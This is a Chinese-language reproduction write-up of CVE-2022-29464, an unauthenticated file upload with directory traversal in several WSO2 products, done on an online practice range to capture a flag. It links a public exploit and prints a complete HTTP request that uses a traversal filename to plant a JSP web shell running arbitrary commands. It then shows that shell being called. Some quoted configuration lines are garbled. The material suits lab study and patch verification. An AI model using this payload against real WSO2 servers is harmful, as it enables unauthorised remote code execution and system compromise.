漏洞描述:
WSO2是一家成立于 2005 年的开源技术提供商。它提供了一个企业平台,用于在本地和整个 Internet 上 集成应用程序编程接口(API)、应用程序和 Web 服务。
某些 WSO2 产品允许无限制的文件上传和远程代码执行。攻击者必须使用带有 Content-Disposition 目录遍历序列的 /fileupload 端点来到达 Web 根目录下的目录,例如 ../../../../repository/deployment/server/webapps 目录。这会影响 WSO2 API Manager 2.2.0 及更高版本到 4.0.0;WSO2 Identity Server 5.2.0 及以上至 5.11.0;WSO2 身份服务器分析 5.4.0、5.4.1、5.5.0 和 5.6.0;WSO2 身份服务器作为密钥管理器 5.3.0 及更高版本至 5.10.0;和 WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0。
漏洞复现:
采用vulfocus在线靶场环境
方法一:
使用CVE-2022-29464的exp直接打
下载地址:https://github.com/hakivvi/CVE-2022-29464/
这里exp成功执行上传了jsp文件,命令执行拿到flag
方法二:
漏洞接口为/fileupload,搜索接口配置信息,该接口未进行认证处理:
<Resource context=" /duoauthenticationendpoint(.*)" secured="false" http-method="all"/><Resource context="(.*)/fileupload(.*)" secured="false" http-method="all"/>
<Resource context="(.*)/filedownload(.x)" secured="false" http-method="all"/>
漏洞接口/fileupload/toolsAny对应的处理文件是:
org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor:
<Mapping>
<Actions>
<Action>toolsAnyK/Action></Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class></Mapping>
</FilellnloadConfia>
构造poc
POST /fileupload/toolsAny HTTP/1.1
Host: 123.58.236.76:65512
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 889
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--
访问https://123.58.236.76:65512/authenticationendpoint/1.jsp?cmd=ls%20/tmp
成功拿到flag!
PS:这里靶场的链接应为https默认是http自行修改下,这是个大坑,poc一次没成功多尝试几次。
原文始发于微信公众号(三零二):CVE-2022-29464(WSO2文件上传)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论